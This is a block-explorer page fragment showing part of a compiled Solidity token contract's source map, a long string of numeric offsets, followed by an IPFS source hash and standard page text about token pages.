15:31:0;;;;;;:25;:31;;;;;;;;:77;;;;-1:-1:-1;;;;;;18172:20:0;;;;;;:16;:20;;;;;;;;18171:21;18115:77;18089:1079;;;18279:12;;18269:6;:22;;18235:148;;;;-1:-1:-1;;;18235:148:0;;16336:2:1;18235:148:0;;;16318:21:1;16375:2;16355:18;;;16348:30;16414:34;16394:18;;;16387:62;-1:-1:-1;;;16465:18:1;;;16458:38;16513:19;;18235:148:0;16134:404:1;18235:148:0;18466:15;;18449:13;18459:2;18449:9;:13::i;:::-;18440:22;;:6;:22;:::i;:::-;:41;;18406:151;;;;-1:-1:-1;;;18406:151:0;;16745:2:1;18406:151:0;;;16727:21:1;16784:2;16764:18;;;16757:30;-1:-1:-1;;;16803:18:1;;;16796:54;16867:18;;18406:151:0;16543:348:1;18406:151:0;18089:1079;;;-1:-1:-1;;;;;18650:29:0;;;;;;:25;:29;;;;;;;;:77;;;;-1:-1:-1;;;;;;18705:22:0;;;;;;:16;:22;;;;;;;;18704:23;18650:77;18624:544;;;18814:13;;18804:6;:23;;18770:151;;;;-1:-1:-1;;;18770:151:0;;17098:2:1;18770:151:0;;;17080:21:1;17137:2;17117:18;;;17110:30;17176:34;17156:18;;;17149:62;-1:-1:-1;;;17227:18:1;;;17220:40;17277:19;;18770:151:0;16896:406:1;18624:544:0;-1:-1:-1;;;;;18952:20:0;;;;;;:16;:20;;;;;;;;18947:221;;19057:15;;19040:13;19050:2;19040:9;:13::i;:::-;19031:22;;:6;:22;:::i;:::-;:41;;18997:151;;;;-1:-1:-1;;;18997:151:0;;16745:2:1;18997:151:0;;;16727:21:1;16784:2;16764:18;;;16757:30;-1:-1:-1;;;16803:18:1;;;16796:54;16867:18;;18997:151:0;16543:348:1;18997:151:0;19206:28;19237:24;19255:4;19237:9;:24::i;:::-;-1:-1:-1;;;;;19277:31:0;;;;;;:25;:31;;;;;;19206:55;;-1:-1:-1;19277:31:0;;19276:32;:45;;;;-1:-1:-1;19313:8:0;;-1:-1:-1;;;19313:8:0;;;;19312:9;19276:45;19272:83;;;19338:8;:15;;-1:-1:-1;;;;;;19338:15:0;-1:-1:-1;;;;;19338:15:0;;;;;19272:83;19404:18;;19380:42;;;;;;;19453:35;;-1:-1:-1;19477:11:0;;-1:-1:-1;;;19477:11:0;;;;19453:35;:61;;;;-1:-1:-1;19506:8:0;;-1:-1:-1;;;19506:8:0;;;;19505:9;19453:61;:110;;;;-1:-1:-1;;;;;;19532:31:0;;;;;;:25;:31;;;;;;;;19531:32;19453:110;:153;;;;-1:-1:-1;;;;;;19581:25:0;;;;;;:19;:25;;;;;;;;19580:26;19453:153;:194;;;;-1:-1:-1;;;;;;19624:23:0;;;;;;:19;:23;;;;;;;;19623:24;19453:194;19435:322;;;19674:8;:15;;-1:-1:-1;;;;19674:15:0;-1:-1:-1;;;19674:15:0;;;19704:10;:8;:10::i;:::-;19729:8;:16;;-1:-1:-1;;;;19729:16:0;;;19435:322;-1:-1:-1;;;;;19805:25:0;;19769:12;19805:25;;;:19;:25;;;;;;19784:4;;19805:25;;;:52;;-1:-1:-1;;;;;;19834:23:0;;;;;;:19;:23;;;;;;;;19805:52;19801:100;;;-1:-1:-1;19884:5:0;19801:100;-1:-1:-1;;;;;19915:31:0;;;;;;:25;:31;;;;;;;;:51;;;;-1:-1:-1;;;;;;19950:11:0;;;;;;:7;:11;;;;;;:16;19915:51;19911:113;;;-1:-1:-1;;;;;19983:11:0;;;;;;:7;:11;;;;;19997:15;19983:29;;19911:113;20044:12;20077:7;20073:1861;;;22091:14;;22076:12;:29;20123:70;;;;-1:-1:-1;;;;;;20162:31:0;;;;;;:25;:31;;;;;;;;20123:70;:121;;;;-1:-1:-1;;;;;;20215:29:0;;;;;;:25;:29;;;;;;;;20214:30;20123:121;:158;;;;;20280:1;20265:12;;:16;20123:158;20101:1688;;;-1:-1:-1;;;;;20321:13:0;;;;;;:9;:13;;;;;;;;20316:174;;-1:-1:-1;;;;;20359:13:0;;;;;;:9;:13;;;;;:20;;-1:-1:-1;;20359:20:0;20375:4;20359:20;;;;;;20402:10;:15;;20375:4;;20402:10;;:15;;20375:4;;20402:15;:::i;:::-;;;;-1:-1:-1;;20445:25:0;;-1:-1:-1;;;;;749:32:1;;731:51;;20445:25:0;;719:2:1;704:18;20445:25:0;;;;;;;20316:174;20533:3;20518:11;:6;20527:2;20518:11;:::i;:::-;20517:19;;;;:::i;:::-;20510:26;;20604:12;;20585:15;;20578:4;:22;;;;:::i;:::-;20577:39;;;;:::i;:::-;20555:18;;:61;;;;;;;:::i;:::-;;;;-1:-1:-1;;20684:12:0;;20665:15;;20658:22;;:4;:22;:::i;:::-;20657:39;;;;:::i;:::-;20635:18;;:61;;;;;;;:::i;:::-;;;;-1:-1:-1;;20752:12:0;;20739:9;;20732:16;;:4;:16;:::i;:::-;20731:33;;;;:::i;:::-;20715:12;;:49;;;;;;;:::i;:::-;;;;-1:-1:-1;;20822:12:0;;20808:10;;20801:17;;:4;:17;:::i;:::-;20800:34;;;;:::i;:::-;20783:13;;:51;;;;;;;:::i;:::-;;;;-1:-1:-1;20101:1688:0;;-1:-1:-1;20101:1688:0;;-1:-1:-1;;;;;20894:29:0;;;;;;:25;:29;;;;;;;;:50;;;;;20943:1;20927:13;;:17;20894:50;20890:899;;;20999:3;20982:13;;20973:6;:22;;;;:::i;:::-;20972:30;;;;:::i;:::-;20965:37;;21071:13;;21051:16;;21044:4;:23;;;;:::i;:::-;21043:41;;;;:::i;:::-;21021:18;;:63;;;;;;;:::i;:::-;;;;-1:-1:-1;;21153:13:0;;21133:16;;21126:23;;:4;:23;:::i;:::-;21125:41;;;;:::i;:::-;21103:18;;:63;;;;;;;:::i;:::-;;;;-1:-1:-1;;21223:13:0;;21209:10;;21202:17;;:4;:17;:::i;:::-;21201:35;;;;:::i;:::-;21185:12;;:51;;;;;;;:::i;:::-;;;;-1:-1:-1;;21295:13:0;;21280:11;;21273:18;;:4;:18;:::i;20890:899::-;-1:-1:-1;;;;;21367:31:0;;;;;;:25;:31;;;;;;;;:51;;;;;21417:1;21402:12;;:16;21367:51;21363:426;;;21472:3;21456:12;;21447:6;:21;;;;:::i;:::-;21446:29;;;;:::i;:::-;21439:36;;21543:12;;21524:15;;21517:4;:22;;;;:::i;:::-;21516:39;;;;:::i;:::-;21494:18;;:61;;;;;;;:::i;:::-;;;;-1:-1:-1;;21623:12:0;;21604:15;;21597:22;;:4;:22;:::i;:::-;21596:39;;;;:::i;:::-;21574:18;;:61;;;;;;;:::i;:::-;;;;-1:-1:-1;;21691:12:0;;21678:9;;21671:16;;:4;:16;:::i;:::-;21670:33;;;;:::i;:::-;21654:12;;:49;;;;;;;:::i;:::-;;;;-1:-1:-1;;21761:12:0;;21747:10;;21740:17;;:4;:17;:::i;:::-;21739:34;;;;:::i;:::-;21722:13;;:51;;;;;;;:::i;:::-;;;;-1:-1:-1;;21363:426:0;21807:8;;21803:91;;21836:42;21852:4;21866;21873;21836:15;:42::i;:::-;21908:14;21918:4;21908:14;;:::i;:::-;;;20073:1861;21954:33;21970:4;21976:2;21980:6;21954:15;:33::i;:::-;17105:4890;;;;16992:5003;;;:::o;15521:240::-;-1:-1:-1;;;;;15604:31:0;;;;;;:25;:31;;;;;:39;;-1:-1:-1;;15604:39:0;;;;;;;15656;15604:31;:39;15656:26;:39::i;5374:550::-;-1:-1:-1;;;;;5458:21:0;;5450:67;;;;-1:-1:-1;;;5450:67:0;;17509:2:1;5450:67:0;;;17491:21:1;17548:2;17528:18;;;17521:30;17587:34;17567:18;;;17560:62;-1:-1:-1;;;17638:18:1;;;17631:31;17679:19;;5450:67:0;17307:397:1;5450:67:0;-1:-1:-1;;;;;5553:18:0;;5528:22;5553:18;;;;;;;;;;;5590:24;;;;5582:71;;;;-1:-1:-1;;;5582:71:0;;17911:2:1;5582:71:0;;;17893:21:1;17950:2;17930:18;;;17923:30;17989:34;17969:18;;;17962:62;-1:-1:-1;;;18040:18:1;;;18033:32;18082:19;;5582:71:0;17709:398:1;5582:71:0;-1:-1:-1;;;;;5689:18:0;;:9;:18;;;;;;;;;;;5710:23;;;5689:44;;5828:12;:22;;;;;;;5879:37;1587:25:1;;;5689:9:0;;:18;5879:37;;1560:18:1;5879:37:0;1441:177:1;22121:669:0;22234:16;;;22248:1;22234:16;;;;;;;;22187:12;;;;22234:16;22248:1;22234:16;;;;;;;;;;-1:-1:-1;22234:16:0;22210:40;;22279:4;22261;22266:1;22261:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;22261:23:0;;;:7;;;;;;;;;;:23;;;;22305:9;;:16;;;-1:-1:-1;;;22305:16:0;;;;:9;;;;;:14;;:16;;;;;22261:7;;22305:16;;;;;:9;:16;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;22295:4;22300:1;22295:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;22295:26:0;;;:7;;;;;;;;;:26;22366:9;;22334:56;;22351:4;;22366:9;22378:11;22334:8;:56::i;:::-;22427:9;;:218;;-1:-1:-1;;;22427:218:0;;-1:-1:-1;;;;;22427:9:0;;;;:60;;:218;;22502:11;;22427:9;;22572:4;;22599;;22619:15;;22427:218;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;22678:9:0;;-1:-1:-1;;;;;22678:9:0;;-1:-1:-1;22711:25:0;;-1:-1:-1;22735:1:0;22711:21;:25;:::i;:::-;22670:72;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;22656:86;;;;;22762:7;22753:29;;;;-1:-1:-1;;;22753:29:0;;19819:2:1;22753:29:0;;;19801:21:1;19858:1;19838:18;;;19831:29;-1:-1:-1;;;19876:18:1;;;19869:38;19924:18;;22753:29:0;19617:331:1;22753:29:0;22176:614;;22121:669;:::o;22798:509::-;22978:9;;22946:56;;22963:4;;-1:-1:-1;;;;;22978:9:0;22990:11;22946:8;:56::i;:::-;23045:9;;:254;;-1:-1:-1;;;23045:254:0;;23111:4;23045:254;;;20294:34:1;20344:18;;;20337:34;;;23045:9:0;20387:18:1;;;20380:34;;;20430:18;;;20423:34;23251:6:0;20473:19:1;;;20466:44;23273:15:0;20526:19:1;;;20519:35;-1:-1:-1;;;;;23045:9:0;;;;:25;;23078:9;;20228:19:1;;23045:254:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;22798:509;;:::o;4395:651::-;-1:-1:-1;;;;;4535:20:0;;4527:70;;;;-1:-1:-1;;;4527:70:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;4616:23:0;;4608:71;;;;-1:-1:-1;;;4608:71:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;4716:17:0;;4692:21;4716:17;;;;;;;;;;;4766:23;;;;4744:111;;;;-1:-1:-1;;;4744:111:0;;21078:2:1;4744:111:0;;;21060:21:1;21117:2;21097:18;;;21090:30;21156:34;21136:18;;;21129:62;-1:-1:-1;;;21207:18:1;;;21200:36;21253:19;;4744:111:0;20876:402:1;4744:111:0;-1:-1:-1;;;;;4891:17:0;;;:9;:17;;;;;;;;;;;4911:22;;;4891:42;;4955:20;;;;;;;;:30;;4927:6;;4891:9;4955:30;;4927:6;;4955:30;:::i;:::-;;;;;;;;5020:9;-1:-1:-1;;;;;5003:35:0;5012:6;-1:-1:-1;;;;;5003:35:0;;5031:6;5003:35;;;;1587:25:1;;1575:2;1560:18;;1441:177;5003:35:0;;;;;;;;4516:530;4395:651;;;:::o;14588:217::-;-1:-1:-1;;;;;14701:24:0;;;;;;:16;:24;;;;;;;;;:37;;-1:-1:-1;;14701:37:0;;;;;;;;;;14754:43;;21451:51:1;;;21518:18;;;21511:50;14754:43:0;;21424:18:1;14754:43:0;21283:284:1;14:548;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;793:131::-;-1:-1:-1;;;;;868:31:1;;858:42;;848:70;;914:1;911;904:12;848:70;793:131;:::o;929:315::-;997:6;1005;1058:2;1046:9;1037:7;1033:23;1029:32;1026:52;;;1074:1;1071;1064:12;1026:52;1113:9;1100:23;1132:31;1157:5;1132:31;:::i;:::-;1182:5;1234:2;1219:18;;;;1206:32;;-1:-1:-1;;;929:315:1:o;1623:247::-;1682:6;1735:2;1723:9;1714:7;1710:23;1706:32;1703:52;;;1751:1;1748;1741:12;1703:52;1790:9;1777:23;1809:31;1834:5;1809:31;:::i;:::-;1859:5;1623:247;-1:-1:-1;;;1623:247:1:o;1875:456::-;1952:6;1960;1968;2021:2;2009:9;2000:7;1996:23;1992:32;1989:52;;;2037:1;2034;2027:12;1989:52;2076:9;2063:23;2095:31;2120:5;2095:31;:::i;:::-;2145:5;-1:-1:-1;2202:2:1;2187:18;;2174:32;2215:33;2174:32;2215:33;:::i;:::-;1875:456;;2267:7;;-1:-1:-1;;;2321:2:1;2306:18;;;;2293:32;;1875:456::o;2336:180::-;2395:6;2448:2;2436:9;2427:7;2423:23;2419:32;2416:52;;;2464:1;2461;2454:12;2416:52;-1:-1:-1;2487:23:1;;2336:180;-1:-1:-1;2336:180:1:o;2521:385::-;2607:6;2615;2623;2631;2684:3;2672:9;2663:7;2659:23;2655:33;2652:53;;;2701:1;2698;2691:12;2652:53;-1:-1:-1;;2724:23:1;;;2794:2;2779:18;;2766:32;;-1:-1:-1;2845:2:1;2830:18;;2817:32;;2896:2;2881:18;2868:32;;-1:-1:-1;2521:385:1;-1:-1:-1;2521:385:1:o;3308:118::-;3394:5;3387:13;3380:21;3373:5;3370:32;3360:60;;3416:1;3413;3406:12;3431:382;3496:6;3504;3557:2;3545:9;3536:7;3532:23;3528:32;3525:52;;;3573:1;3570;3563:12;3525:52;3612:9;3599:23;3631:31;3656:5;3631:31;:::i;:::-;3681:5;-1:-1:-1;3738:2:1;3723:18;;3710:32;3751:30;3710:32;3751:30;:::i;:::-;3800:7;3790:17;;;3431:382;;;;;:::o;3818:388::-;3886:6;3894;3947:2;3935:9;3926:7;3922:23;3918:32;3915:52;;;3963:1;3960;3953:12;3915:52;4002:9;3989:23;4021:31;4046:5;4021:31;:::i;:::-;4071:5;-1:-1:-1;4128:2:1;4113:18;;4100:32;4141:33;4100:32;4141:33;:::i;4211:380::-;4290:1;4286:12;;;;4333;;;4354:61;;4408:4;4400:6;4396:17;4386:27;;4354:61;4461:2;4453:6;4450:14;4430:18;4427:38;4424:161;;4507:10;4502:3;4498:20;4495:1;4488:31;4542:4;4539:1;4532:15;4570:4;4567:1;4560:15;4424:161;;4211:380;;;:::o;5438:356::-;5640:2;5622:21;;;5659:18;;;5652:30;5718:34;5713:2;5698:18;;5691:62;5785:2;5770:18;;5438:356::o;6151:127::-;6212:10;6207:3;6203:20;6200:1;6193:31;6243:4;6240:1;6233:15;6267:4;6264:1;6257:15;6283:168;6356:9;;;6387;;6404:15;;;6398:22;;6384:37;6374:71;;6425:18;;:::i;6456:217::-;6496:1;6522;6512:132;;6566:10;6561:3;6557:20;6554:1;6547:31;6601:4;6598:1;6591:15;6629:4;6626:1;6619:15;6512:132;-1:-1:-1;6658:9:1;;6456:217::o;7088:125::-;7153:9;;;7174:10;;;7171:36;;;7187:18;;:::i;9438:184::-;9508:6;9561:2;9549:9;9540:7;9536:23;9532:32;9529:52;;;9577:1;9574;9567:12;9529:52;-1:-1:-1;9600:16:1;;9438:184;-1:-1:-1;9438:184:1:o;9906:245::-;9973:6;10026:2;10014:9;10005:7;10001:23;9997:32;9994:52;;;10042:1;10039;10032:12;9994:52;10074:9;10068:16;10093:28;10115:5;10093:28;:::i;14080:128::-;14147:9;;;14168:11;;;14165:37;;;14182:18;;:::i;14213:401::-;14415:2;14397:21;;;14454:2;14434:18;;;14427:30;14493:34;14488:2;14473:18;;14466:62;-1:-1:-1;;;14559:2:1;14544:18;;14537:35;14604:3;14589:19;;14213:401::o;14619:399::-;14821:2;14803:21;;;14860:2;14840:18;;;14833:30;14899:34;14894:2;14879:18;;14872:62;-1:-1:-1;;;14965:2:1;14950:18;;14943:33;15008:3;14993:19;;14619:399::o;18244:127::-;18305:10;18300:3;18296:20;18293:1;18286:31;18336:4;18333:1;18326:15;18360:4;18357:1;18350:15;18376:251;18446:6;18499:2;18487:9;18478:7;18474:23;18470:32;18467:52;;;18515:1;18512;18505:12;18467:52;18547:9;18541:16;18566:31;18591:5;18566:31;:::i;18632:980::-;18894:4;18942:3;18931:9;18927:19;18973:6;18962:9;18955:25;18999:2;19037:6;19032:2;19021:9;19017:18;19010:34;19080:3;19075:2;19064:9;19060:18;19053:31;19104:6;19139;19133:13;19170:6;19162;19155:22;19208:3;19197:9;19193:19;19186:26;;19247:2;19239:6;19235:15;19221:29;;19268:1;19278:195;19292:6;19289:1;19286:13;19278:195;;;19357:13;;-1:-1:-1;;;;;19353:39:1;19341:52;;19448:15;;;;19413:12;;;;19389:1;19307:9;19278:195;;;-1:-1:-1;;;;;;;19529:32:1;;;;19524:2;19509:18;;19502:60;-1:-1:-1;;;19593:3:1;19578:19;19571:35;19490:3;18632:980;-1:-1:-1;;;18632:980:1:o;20565:306::-;20653:6;20661;20669;20722:2;20710:9;20701:7;20697:23;20693:32;20690:52;;;20738:1;20735;20728:12;20690:52;20767:9;20761:16;20751:26;;20817:2;20806:9;20802:18;20796:25;20786:35;;20861:2;20850:9;20846:18;20840:25;20830:35;;20565:306;;;;;:::o

Swarm Source

ipfs://9790910eae121325214b56759031d7e0204b6078bb7fb4af82cb5a8c2db1be9a
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.